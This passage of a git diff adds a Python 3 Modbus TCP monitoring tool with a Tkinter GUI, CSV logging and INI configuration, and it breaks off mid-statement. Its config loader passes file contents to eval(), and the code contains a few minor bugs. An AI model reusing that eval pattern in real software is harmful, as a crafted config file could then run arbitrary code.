data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if 